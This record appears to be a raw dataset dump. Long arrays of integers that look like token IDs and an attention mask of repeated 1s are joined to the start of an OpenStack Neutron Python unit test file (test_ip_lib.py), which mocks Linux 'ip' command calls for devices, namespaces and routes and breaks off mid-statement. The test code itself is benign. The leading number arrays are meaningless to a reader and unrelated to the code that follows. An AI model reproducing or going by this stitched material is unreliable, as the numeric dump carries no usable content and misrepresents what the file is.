4203, 365, 1202, 2659, 395, 199, 61, 199, 3103, 275, 4810, 14, 3103, 199, 3103, 14, 2683, 63, 3291, 8, 24257, 63, 3291, 9, 421, 199, 318, 485, 14020, 8, 9196, 63, 2960, 304, 272, 408, 1767, 2549, 340, 2877, 4008, 402, 282, 2008, 787, 3365, 1041, 272, 340, 8865, 63, 2960, 26, 267, 3653, 17, 12, 3653, 18, 275, 8865, 63, 2960, 267, 372, 3653, 17, 1137, 3653, 18, 272, 587, 26, 267, 372, 756, 421, 199, 318, 485, 7191, 63, 11381, 8, 515, 17, 12, 931, 18, 304, 272, 408, 1767, 2549, 340, 314, 2877, 3792, 787, 315, 314, 2011, 17346, 7079, 570, 2656, 1041, 272, 372, 747, 14, 26956, 8, 515, 17, 680, 270, 63, 2374, 508, 747, 14, 26956, 8, 515, 18, 680, 270, 63, 2374, 421, 199, 318, 485, 890, 495, 8, 890, 63, 262, 63, 71, 304, 272, 408, 7306, 314, 2013, 1568, 1901, 282, 1059, 574, 1041, 272, 372, 1543, 83, 39, 7, 450, 1568, 63, 262, 63, 71, 421, 199, 533, 598, 10966, 3693, 2046, 8, 3090, 14, 6464, 6158, 304, 272, 408, 29452, 3301, 3423, 1808, 17346, 7079, 1979, 22337, 14, 339, 3394, 7994, 26, 272, 413, 14, 16, 14, 16, 446, 6026, 5253, 272, 413, 14, 17, 14, 16, 446, 2654, 3301, 295, 466, 12, 24200, 3301, 8367, 272, 408, 339, 15945, 275, 298, 17, 14, 17, 14, 16, 2, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 31754, 3693, 2046, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 4758, 14, 740, 63, 888, 63, 1459, 8, 24257, 63, 3291, 9, 339, 347, 485, 362, 63, 24257, 63, 929, 8, 277, 304, 267, 408, 1767, 17346, 7079, 1174, 2556, 1041, 267, 862, 26, 288, 334, 548, 12, 2329, 9, 275, 291, 423 ]
[ 1898, 26202, 22304, 14, 6171, 2900, 5924, 5702, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 624, 199, 8225, 7079, 15018, 19447, 14, 199, 199, 624, 199, 646, 3473, 199, 646, 747, 199, 646, 295, 199, 646, 5145, 199, 199, 504, 11258, 14, 1208, 492, 6204, 199, 504, 11258, 63, 27518, 492, 2112, 1208, 199, 504, 11258, 63, 888, 492, 4810, 199, 199, 504, 13069, 492, 1919, 199, 504, 13069, 14, 73, 1085, 78, 492, 5501, 485, 906, 12, 485, 2673, 199, 504, 13069, 14, 1569, 492, 1834, 63, 1208, 199, 504, 13069, 14, 8512, 14, 2330, 492, 570, 1208, 199, 504, 13069, 14, 8512, 14, 2330, 492, 943, 465, 2050, 199, 504, 13069, 492, 3778, 199, 504, 13069, 14, 2405, 492, 5253, 199, 199, 8225, 7079, 63, 1981, 4817, 63, 4896, 63, 19736, 275, 413, 1840, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 24257, 63, 3291, 275, 359, 272, 4810, 14, 19340, 360, 24257, 63, 3956, 63, 1403, 63, 1095, 297, 2049, 849, 29, 403, 12, 2049, 1720, 534, 6154, 5604, 314, 931, 402, 314, 17346, 7079, 2082, 2382, 8651, 283, 490, 283, 6408, 3301, 436, 5740, 1584, 787, 5489, 8038, 272, 4810, 14, 19340, 360, 24257, 63, 4782, 63, 694, 297, 2049, 849, 29, 403, 12, 2049, 1720, 534, 6154, 5604, 314, 931, 402, 314, 6047, 2435, 7611, 315, 283, 490, 283, 8225, 7079, 14, 221, 28015, 10942, 340, 440, 16915, 5935, 315, 17346, 7079, 8038, 272, 4810, 14, 19340, 360, 24257, 63, 4782, 63, 6251, 63, 632, 297, 2049, 849, 29, 403, 12, 2049, 1720, 534, 6154, 5604, 314, 730, 402, 1834, 1331, 370, 506, 1202, 14, 221, 2494, 642, 283, 490, 283, 6526, 314, 6047, 2435, 7611, 2597, 4440, 17346, 7079, 880, 283, 490, 283, 9099, 1834, 1584, 883, 506, 1752, 5057, 30427, 687, 283, 490, 283, 1589, 6047, 2435, 370, 314, 8651, 10533, 2435, 14, 6006, 283, 490, 283, 1530, 2877, 1686, 1338, 26, 298, 1574, 2, 9314, 626, 282, 2615, 1331, 283, 490, 283, 1618, 314, 1834, 365, 6326, 27, 298, 1574, 63, 265, 63, 952, 2, 9314, 626, 283, 490, 283, 1574, 13, 265, 13, 952, 13712, 10054, 365, 1202, 436, 283, 490, 283, 324, 5540, 5664, 402, 314, 1834, 570, 787, 5709, 283, 490, 283, 21069, 590, 8038, 272, 4810, 14, 3241, 9985, 360, 24257, 63, 988, 63, 6311, 63, 4631, 297, 2049, 849, 29, 16, 12, 2049, 1720, 534, 6154, 5604, 376, 7008, 2304, 641, 314, 1329, 402, 2539, 14998, 283, 490, 283, 2427, 370, 12276, 282, 2488, 1853, 7037, 370, 19076, 503, 283, 490, 283, 429, 4548, 14, 221, 437, 2582, 89, 6036, 402, 1331, 13, 265, 13, 952, 19076, 503, 283, 490, 283, 429, 4548, 883, 1172, 282, 6946, 25568, 641, 10238, 12, 1325, 283, 490, 283, 3236, 293, 2310, 4601, 7678, 25698, 14, 221, 378, 9126, 625, 14136, 283, 490, 283, 6311, 5818, 8038, 272, 4810, 14, 10349, 9985, 360, 24257, 63, 4421, 63, 8838, 297, 355, 849, 29, 549, 12, 355, 1720, 7782, 6154, 5604, 626, 12158, 787, 2737, 465, 5178, 1584, 283, 1993, 283, 6777, 22801, 9451, 949, 4601, 14, 982, 663, 370, 756, 12, 314, 283, 1993, 283, 2405, 365, 2737, 465, 282, 9999, 17659, 570, 12, 315, 1314, 283, 1993, 283, 2546, 12, 7143, 1443, 5452, 282, 16474, 590, 8088, 900, 2659, 395, 272, 4810, 14, 19340, 360, 24257, 63, 3494, 63, 2293, 297, 2049, 849, 534, 2253, 297, 2049, 1720, 7782, 6154, 5604, 314, 4887, 4203, 626, 12158, 787, 7943, 283, 2151, 283, 475, 14, 4885, 849, 12, 314, 2656, 4887, 4203, 365, 1202, 2659, 395, 199, 61, 199, 3103, 275, 4810, 14, 3103, 199, 3103, 14, 2683, 63, 3291, 8, 24257, 63, 3291, 9, 421, 199, 318, 485, 14020, 8, 9196, 63, 2960, 304, 272, 408, 1767, 2549, 340, 2877, 4008, 402, 282, 2008, 787, 3365, 1041, 272, 340, 8865, 63, 2960, 26, 267, 3653, 17, 12, 3653, 18, 275, 8865, 63, 2960, 267, 372, 3653, 17, 1137, 3653, 18, 272, 587, 26, 267, 372, 756, 421, 199, 318, 485, 7191, 63, 11381, 8, 515, 17, 12, 931, 18, 304, 272, 408, 1767, 2549, 340, 314, 2877, 3792, 787, 315, 314, 2011, 17346, 7079, 570, 2656, 1041, 272, 372, 747, 14, 26956, 8, 515, 17, 680, 270, 63, 2374, 508, 747, 14, 26956, 8, 515, 18, 680, 270, 63, 2374, 421, 199, 318, 485, 890, 495, 8, 890, 63, 262, 63, 71, 304, 272, 408, 7306, 314, 2013, 1568, 1901, 282, 1059, 574, 1041, 272, 372, 1543, 83, 39, 7, 450, 1568, 63, 262, 63, 71, 421, 199, 533, 598, 10966, 3693, 2046, 8, 3090, 14, 6464, 6158, 304, 272, 408, 29452, 3301, 3423, 1808, 17346, 7079, 1979, 22337, 14, 339, 3394, 7994, 26, 272, 413, 14, 16, 14, 16, 446, 6026, 5253, 272, 413, 14, 17, 14, 16, 446, 2654, 3301, 295, 466, 12, 24200, 3301, 8367, 272, 408, 339, 15945, 275, 298, 17, 14, 17, 14, 16, 2, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 31754, 3693, 2046, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 4758, 14, 740, 63, 888, 63, 1459, 8, 24257, 63, 3291, 9, 339, 347, 485, 362, 63, 24257, 63, 929, 8, 277, 304, 267, 408, 1767, 17346, 7079, 1174, 2556, 1041, 267, 862, 26, 288, 334, 548, 12, 2329, 9, 275, 291, 423, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
barnsnake351/neutron
neutron/tests/unit/agent/linux/test_ip_lib.py
3
49793
# Copyright 2012 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock import netaddr import testtools from neutron.agent.common import utils # noqa from neutron.agent.linux import ip_lib from neutron.common import exceptions from neutron.tests import base NETNS_SAMPLE = [ '12345678-1234-5678-abcd-1234567890ab', 'bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb', 'cccccccc-cccc-cccc-cccc-cccccccccccc'] LINK_SAMPLE = [ '1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN \\' 'link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 promiscuity 0', '2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP ' 'qlen 1000\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff' '\ alias openvswitch', '3: br-int: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN ' '\ link/ether aa:bb:cc:dd:ee:ff brd ff:ff:ff:ff:ff:ff promiscuity 0', '4: gw-ddc717df-49: <BROADCAST,MULTICAST> mtu 1500 qdisc noop ' 'state DOWN \ link/ether fe:dc:ba:fe:dc:ba brd ff:ff:ff:ff:ff:ff ' 'promiscuity 0', '5: foo:foo: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state ' 'UP qlen 1000\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff ' 'promiscuity 0', '6: foo@foo: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state ' 'UP qlen 1000\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff ' 'promiscuity 0', '7: foo:foo@foo: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq ' 'state UP qlen 1000' '\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff promiscuity 0', '8: foo@foo:foo: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq ' 'state UP qlen 1000' '\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff promiscuity 0', '9: bar.9@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc ' ' noqueue master brq0b24798c-07 state UP mode DEFAULT' '\ link/ether ab:04:49:b6:ab:a0 brd ff:ff:ff:ff:ff:ff promiscuity 0' '\ vlan protocol 802.1q id 9 <REORDER_HDR>', '10: bar@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc ' ' noqueue master brq0b24798c-07 state UP mode DEFAULT' '\ link/ether ab:04:49:b6:ab:a0 brd ff:ff:ff:ff:ff:ff promiscuity 0' '\ vlan protocol 802.1Q id 10 <REORDER_HDR>', '11: bar:bar@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq ' 'state UP qlen 1000' '\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff promiscuity 0' '\ vlan id 11 <REORDER_HDR>', '12: bar@bar@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq ' 'state UP qlen 1000' '\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff promiscuity 0' '\ vlan id 12 <REORDER_HDR>', '13: bar:bar@bar@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ' 'qdisc mq state UP qlen 1000' '\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff promiscuity 0' '\ vlan protocol 802.1q id 13 <REORDER_HDR>', '14: bar@bar:bar@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ' 'qdisc mq state UP qlen 1000' '\ link/ether cc:dd:ee:ff:ab:cd brd ff:ff:ff:ff:ff:ff promiscuity 0' '\ vlan protocol 802.1Q id 14 <REORDER_HDR>'] ADDR_SAMPLE = (""" 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000 link/ether dd:cc:aa:b9:76:ce brd ff:ff:ff:ff:ff:ff inet 172.16.77.240/24 brd 172.16.77.255 scope global eth0 inet6 2001:470:9:1224:5595:dd51:6ba2:e788/64 scope global temporary dynamic valid_lft 14187sec preferred_lft 3387sec inet6 fe80::3023:39ff:febc:22ae/64 scope link tentative valid_lft forever preferred_lft forever inet6 fe80::3023:39ff:febc:22af/64 scope link tentative dadfailed valid_lft forever preferred_lft forever inet6 2001:470:9:1224:fd91:272:581e:3a32/64 scope global temporary """ """deprecated dynamic valid_lft 14187sec preferred_lft 0sec inet6 2001:470:9:1224:4508:b885:5fb:740b/64 scope global temporary """ """deprecated dynamic valid_lft 14187sec preferred_lft 0sec inet6 2001:470:9:1224:dfcc:aaff:feb9:76ce/64 scope global dynamic valid_lft 14187sec preferred_lft 3387sec inet6 fe80::dfcc:aaff:feb9:76ce/64 scope link valid_lft forever preferred_lft forever """) ADDR_SAMPLE2 = (""" 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000 link/ether dd:cc:aa:b9:76:ce brd ff:ff:ff:ff:ff:ff inet 172.16.77.240/24 scope global eth0 inet6 2001:470:9:1224:5595:dd51:6ba2:e788/64 scope global temporary dynamic valid_lft 14187sec preferred_lft 3387sec inet6 fe80::3023:39ff:febc:22ae/64 scope link tentative valid_lft forever preferred_lft forever inet6 fe80::3023:39ff:febc:22af/64 scope link tentative dadfailed valid_lft forever preferred_lft forever inet6 2001:470:9:1224:fd91:272:581e:3a32/64 scope global temporary """ """deprecated dynamic valid_lft 14187sec preferred_lft 0sec inet6 2001:470:9:1224:4508:b885:5fb:740b/64 scope global temporary """ """deprecated dynamic valid_lft 14187sec preferred_lft 0sec inet6 2001:470:9:1224:dfcc:aaff:feb9:76ce/64 scope global dynamic valid_lft 14187sec preferred_lft 3387sec inet6 fe80::dfcc:aaff:feb9:76ce/64 scope link valid_lft forever preferred_lft forever """) GATEWAY_SAMPLE1 = (""" default via 10.35.19.254 metric 100 10.35.16.0/22 proto kernel scope link src 10.35.17.97 """) GATEWAY_SAMPLE2 = (""" default via 10.35.19.254 metric 100 """) GATEWAY_SAMPLE3 = (""" 10.35.16.0/22 proto kernel scope link src 10.35.17.97 """) GATEWAY_SAMPLE4 = (""" default via 10.35.19.254 """) GATEWAY_SAMPLE5 = (""" default via 192.168.99.1 proto static """) GATEWAY_SAMPLE6 = (""" default via 192.168.99.1 proto static metric 100 """) GATEWAY_SAMPLE7 = (""" default dev qg-31cd36 metric 1 """) IPv6_GATEWAY_SAMPLE1 = (""" default via 2001:470:9:1224:4508:b885:5fb:740b metric 100 2001:db8::/64 proto kernel scope link src 2001:470:9:1224:dfcc:aaff:feb9:76ce """) IPv6_GATEWAY_SAMPLE2 = (""" default via 2001:470:9:1224:4508:b885:5fb:740b metric 100 """) IPv6_GATEWAY_SAMPLE3 = (""" 2001:db8::/64 proto kernel scope link src 2001:470:9:1224:dfcc:aaff:feb9:76ce """) IPv6_GATEWAY_SAMPLE4 = (""" default via fe80::dfcc:aaff:feb9:76ce """) IPv6_GATEWAY_SAMPLE5 = (""" default via 2001:470:9:1224:4508:b885:5fb:740b metric 1024 """) DEVICE_ROUTE_SAMPLE = ("10.0.0.0/24 scope link src 10.0.0.2") SUBNET_SAMPLE1 = ("10.0.0.0/24 dev qr-23380d11-d2 scope link src 10.0.0.1\n" "10.0.0.0/24 dev tap1d7888a7-10 scope link src 10.0.0.2") SUBNET_SAMPLE2 = ("10.0.0.0/24 dev tap1d7888a7-10 scope link src 10.0.0.2\n" "10.0.0.0/24 dev qr-23380d11-d2 scope link src 10.0.0.1") RULE_V4_SAMPLE = (""" 0: from all lookup local 32766: from all lookup main 32767: from all lookup default 101: from 192.168.45.100 lookup 2 """) RULE_V6_SAMPLE = (""" 0: from all lookup local 32766: from all lookup main 32767: from all lookup default 201: from 2001:db8::1 lookup 3 """) class TestSubProcessBase(base.BaseTestCase): def setUp(self): super(TestSubProcessBase, self).setUp() self.execute_p = mock.patch('neutron.agent.common.utils.execute') self.execute = self.execute_p.start() def test_execute_wrapper(self): ip_lib.SubProcessBase._execute(['o'], 'link', ('list',), run_as_root=True) self.execute.assert_called_once_with(['ip', '-o', 'link', 'list'], run_as_root=True, log_fail_as_error=True) def test_execute_wrapper_int_options(self): ip_lib.SubProcessBase._execute([4], 'link', ('list',)) self.execute.assert_called_once_with(['ip', '-4', 'link', 'list'], run_as_root=False, log_fail_as_error=True) def test_execute_wrapper_no_options(self): ip_lib.SubProcessBase._execute([], 'link', ('list',)) self.execute.assert_called_once_with(['ip', 'link', 'list'], run_as_root=False, log_fail_as_error=True) def test_run_no_namespace(self): base = ip_lib.SubProcessBase() base._run([], 'link', ('list',)) self.execute.assert_called_once_with(['ip', 'link', 'list'], run_as_root=False, log_fail_as_error=True) def test_run_namespace(self): base = ip_lib.SubProcessBase(namespace='ns') base._run([], 'link', ('list',)) self.execute.assert_called_once_with(['ip', 'netns', 'exec', 'ns', 'ip', 'link', 'list'], run_as_root=True, log_fail_as_error=True) def test_as_root_namespace(self): base = ip_lib.SubProcessBase(namespace='ns') base._as_root([], 'link', ('list',)) self.execute.assert_called_once_with(['ip', 'netns', 'exec', 'ns', 'ip', 'link', 'list'], run_as_root=True, log_fail_as_error=True) class TestIpWrapper(base.BaseTestCase): def setUp(self): super(TestIpWrapper, self).setUp() self.execute_p = mock.patch.object(ip_lib.IPWrapper, '_execute') self.execute = self.execute_p.start() @mock.patch('os.path.islink') @mock.patch('os.listdir', return_value=['lo']) def test_get_devices(self, mocked_listdir, mocked_islink): retval = ip_lib.IPWrapper().get_devices() mocked_islink.assert_called_once_with('/sys/class/net/lo') self.assertEqual(retval, [ip_lib.IPDevice('lo')]) @mock.patch('neutron.agent.common.utils.execute') def test_get_devices_namespaces(self, mocked_execute): fake_str = mock.Mock() fake_str.split.return_value = ['lo'] mocked_execute.return_value = fake_str retval = ip_lib.IPWrapper(namespace='foo').get_devices() mocked_execute.assert_called_once_with( ['ip', 'netns', 'exec', 'foo', 'find', '/sys/class/net', '-maxdepth', '1', '-type', 'l', '-printf', '%f '], run_as_root=True, log_fail_as_error=True) self.assertTrue(fake_str.split.called) self.assertEqual(retval, [ip_lib.IPDevice('lo', namespace='foo')]) def test_get_namespaces(self): self.execute.return_value = '\n'.join(NETNS_SAMPLE) retval = ip_lib.IPWrapper.get_namespaces() self.assertEqual(retval, ['12345678-1234-5678-abcd-1234567890ab', 'bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb', 'cccccccc-cccc-cccc-cccc-cccccccccccc']) self.execute.assert_called_once_with([], 'netns', ('list',)) def test_add_tuntap(self): ip_lib.IPWrapper().add_tuntap('tap0') self.execute.assert_called_once_with([], 'tuntap', ('add', 'tap0', 'mode', 'tap'), run_as_root=True, namespace=None, log_fail_as_error=True) def test_add_veth(self): ip_lib.IPWrapper().add_veth('tap0', 'tap1') self.execute.assert_called_once_with([], 'link', ('add', 'tap0', 'type', 'veth', 'peer', 'name', 'tap1'), run_as_root=True, namespace=None, log_fail_as_error=True) def test_del_veth(self): ip_lib.IPWrapper().del_veth('fpr-1234') self.execute.assert_called_once_with([], 'link', ('del', 'fpr-1234'), run_as_root=True, namespace=None, log_fail_as_error=True) def test_add_veth_with_namespaces(self): ns2 = 'ns2' with mock.patch.object(ip_lib.IPWrapper, 'ensure_namespace') as en: ip_lib.IPWrapper().add_veth('tap0', 'tap1', namespace2=ns2) en.assert_has_calls([mock.call(ns2)]) self.execute.assert_called_once_with([], 'link', ('add', 'tap0', 'type', 'veth', 'peer', 'name', 'tap1', 'netns', ns2), run_as_root=True, namespace=None, log_fail_as_error=True) def test_add_dummy(self): ip_lib.IPWrapper().add_dummy('dummy0') self.execute.assert_called_once_with([], 'link', ('add', 'dummy0', 'type', 'dummy'), run_as_root=True, namespace=None, log_fail_as_error=True) def test_get_device(self): dev = ip_lib.IPWrapper(namespace='ns').device('eth0') self.assertEqual(dev.namespace, 'ns') self.assertEqual(dev.name, 'eth0') def test_ensure_namespace(self): with mock.patch.object(ip_lib, 'IPDevice') as ip_dev: ip = ip_lib.IPWrapper() with mock.patch.object(ip.netns, 'exists') as ns_exists: with mock.patch('neutron.agent.common.utils.execute'): ns_exists.return_value = False ip.ensure_namespace('ns') self.execute.assert_has_calls( [mock.call([], 'netns', ('add', 'ns'), run_as_root=True, namespace=None, log_fail_as_error=True)]) ip_dev.assert_has_calls([mock.call('lo', namespace='ns'), mock.call().link.set_up()]) def test_ensure_namespace_existing(self): with mock.patch.object(ip_lib, 'IpNetnsCommand') as ip_ns_cmd: ip_ns_cmd.exists.return_value = True ns = ip_lib.IPWrapper().ensure_namespace('ns') self.assertFalse(self.execute.called) self.assertEqual(ns.namespace, 'ns') def test_namespace_is_empty_no_devices(self): ip = ip_lib.IPWrapper(namespace='ns') with mock.patch.object(ip, 'get_devices') as get_devices: get_devices.return_value = [] self.assertTrue(ip.namespace_is_empty()) get_devices.assert_called_once_with(exclude_loopback=True) def test_namespace_is_empty(self): ip = ip_lib.IPWrapper(namespace='ns') with mock.patch.object(ip, 'get_devices') as get_devices: get_devices.return_value = [mock.Mock()] self.assertFalse(ip.namespace_is_empty()) get_devices.assert_called_once_with(exclude_loopback=True) def test_garbage_collect_namespace_does_not_exist(self): with mock.patch.object(ip_lib, 'IpNetnsCommand') as ip_ns_cmd_cls: ip_ns_cmd_cls.return_value.exists.return_value = False ip = ip_lib.IPWrapper(namespace='ns') with mock.patch.object(ip, 'namespace_is_empty') as mock_is_empty: self.assertFalse(ip.garbage_collect_namespace()) ip_ns_cmd_cls.assert_has_calls([mock.call().exists('ns')]) self.assertNotIn(mock.call().delete('ns'), ip_ns_cmd_cls.return_value.mock_calls) self.assertEqual(mock_is_empty.mock_calls, []) def test_garbage_collect_namespace_existing_empty_ns(self): with mock.patch.object(ip_lib, 'IpNetnsCommand') as ip_ns_cmd_cls: ip_ns_cmd_cls.return_value.exists.return_value = True ip = ip_lib.IPWrapper(namespace='ns') with mock.patch.object(ip, 'namespace_is_empty') as mock_is_empty: mock_is_empty.return_value = True self.assertTrue(ip.garbage_collect_namespace()) mock_is_empty.assert_called_once_with() expected = [mock.call().exists('ns'), mock.call().delete('ns')] ip_ns_cmd_cls.assert_has_calls(expected) def test_garbage_collect_namespace_existing_not_empty(self): lo_device = mock.Mock() lo_device.name = 'lo' tap_device = mock.Mock() tap_device.name = 'tap1' with mock.patch.object(ip_lib, 'IpNetnsCommand') as ip_ns_cmd_cls: ip_ns_cmd_cls.return_value.exists.return_value = True ip = ip_lib.IPWrapper(namespace='ns') with mock.patch.object(ip, 'namespace_is_empty') as mock_is_empty: mock_is_empty.return_value = False self.assertFalse(ip.garbage_collect_namespace()) mock_is_empty.assert_called_once_with() expected = [mock.call(ip), mock.call().exists('ns')] self.assertEqual(ip_ns_cmd_cls.mock_calls, expected) self.assertNotIn(mock.call().delete('ns'), ip_ns_cmd_cls.mock_calls) def test_add_vxlan_valid_port_length(self): retval = ip_lib.IPWrapper().add_vxlan('vxlan0', 'vni0', group='group0', dev='dev0', ttl='ttl0', tos='tos0', local='local0', proxy=True, port=('1', '2')) self.assertIsInstance(retval, ip_lib.IPDevice) self.assertEqual(retval.name, 'vxlan0') self.execute.assert_called_once_with([], 'link', ['add', 'vxlan0', 'type', 'vxlan', 'id', 'vni0', 'group', 'group0', 'dev', 'dev0', 'ttl', 'ttl0', 'tos', 'tos0', 'local', 'local0', 'proxy', 'port', '1', '2'], run_as_root=True, namespace=None, log_fail_as_error=True) def test_add_vxlan_invalid_port_length(self): wrapper = ip_lib.IPWrapper() self.assertRaises(exceptions.NetworkVxlanPortRangeError, wrapper.add_vxlan, 'vxlan0', 'vni0', group='group0', dev='dev0', ttl='ttl0', tos='tos0', local='local0', proxy=True, port=('1', '2', '3')) def test_add_device_to_namespace(self): dev = mock.Mock() ip_lib.IPWrapper(namespace='ns').add_device_to_namespace(dev) dev.assert_has_calls([mock.call.link.set_netns('ns')]) def test_add_device_to_namespace_is_none(self): dev = mock.Mock() ip_lib.IPWrapper().add_device_to_namespace(dev) self.assertEqual(dev.mock_calls, []) class TestIPDevice(base.BaseTestCase): def test_eq_same_name(self): dev1 = ip_lib.IPDevice('tap0') dev2 = ip_lib.IPDevice('tap0') self.assertEqual(dev1, dev2) def test_eq_diff_name(self): dev1 = ip_lib.IPDevice('tap0') dev2 = ip_lib.IPDevice('tap1') self.assertNotEqual(dev1, dev2) def test_eq_same_namespace(self): dev1 = ip_lib.IPDevice('tap0', 'ns1') dev2 = ip_lib.IPDevice('tap0', 'ns1') self.assertEqual(dev1, dev2) def test_eq_diff_namespace(self): dev1 = ip_lib.IPDevice('tap0', namespace='ns1') dev2 = ip_lib.IPDevice('tap0', namespace='ns2') self.assertNotEqual(dev1, dev2) def test_eq_other_is_none(self): dev1 = ip_lib.IPDevice('tap0', namespace='ns1') self.assertIsNotNone(dev1) def test_str(self): self.assertEqual(str(ip_lib.IPDevice('tap0')), 'tap0') class TestIPCommandBase(base.BaseTestCase): def setUp(self): super(TestIPCommandBase, self).setUp() self.ip = mock.Mock() self.ip.namespace = 'namespace' self.ip_cmd = ip_lib.IpCommandBase(self.ip) self.ip_cmd.COMMAND = 'foo' def test_run(self): self.ip_cmd._run([], ('link', 'show')) self.ip.assert_has_calls([mock.call._run([], 'foo', ('link', 'show'))]) def test_run_with_options(self): self.ip_cmd._run(['o'], ('link')) self.ip.assert_has_calls([mock.call._run(['o'], 'foo', ('link'))]) def test_as_root_namespace_false(self): self.ip_cmd._as_root([], ('link')) self.ip.assert_has_calls( [mock.call._as_root([], 'foo', ('link'), use_root_namespace=False)]) def test_as_root_namespace_true(self): self.ip_cmd._as_root([], ('link'), use_root_namespace=True) self.ip.assert_has_calls( [mock.call._as_root([], 'foo', ('link'), use_root_namespace=True)]) def test_as_root_namespace_true_with_options(self): self.ip_cmd._as_root('o', 'link', use_root_namespace=True) self.ip.assert_has_calls( [mock.call._as_root('o', 'foo', ('link'), use_root_namespace=True)]) class TestIPDeviceCommandBase(base.BaseTestCase): def setUp(self): super(TestIPDeviceCommandBase, self).setUp() self.ip_dev = mock.Mock() self.ip_dev.name = 'eth0' self.ip_dev._execute = 